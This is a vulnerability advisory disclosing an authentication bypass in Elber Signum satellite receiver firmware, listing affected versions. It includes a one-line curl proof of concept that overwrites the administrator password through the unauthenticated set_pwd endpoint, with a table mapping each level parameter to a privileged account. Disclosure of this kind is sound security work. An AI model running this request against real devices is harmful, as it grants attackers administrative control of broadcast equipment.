<html><body><p>Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Authentication Bypass

Vendor: Elber S.r.l.
Product web page:
Affected version: 1.999 Revision 1243
                  1.317 Revision 602
                  1.220 Revision 1250
                  1.220 Revision 1248_1249
                  1.220 Revision 597
                  1.217 Revision 1242
                  1.214 Revision 1023
                  1.193 Revision 924
                  1.175 Revision 873
                  1.166 Revision 550

Summary: The SIGNUM controller from Elber satellite equipment demodulates
one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving
256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned
and configured in 1+1 seamless switching for redundancy. Redundancy can also
be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II
audio codec, providing analog and digital outputs; moreover, itโ€™s possible
to set a data PID to be decoded and passed to the internal RDS encoder,
generating the dual MPX FM output.

Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.

50: function apply_pwd(level, pwd)
51: {
52: 	$.get("json_data/set_pwd", {lev:level, pass:pwd},
53: 	function(data){
54: 		//$.alert({title:'Operation',text:data});
55: 		show_message(data);
56: 	}).fail(function(error){
57: 		show_message('Error ' + error.status, 'error');
58: 	});
59: }


Tested on: NBFM Controller

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2024-5814
Advisory URL:



$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&amp;pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)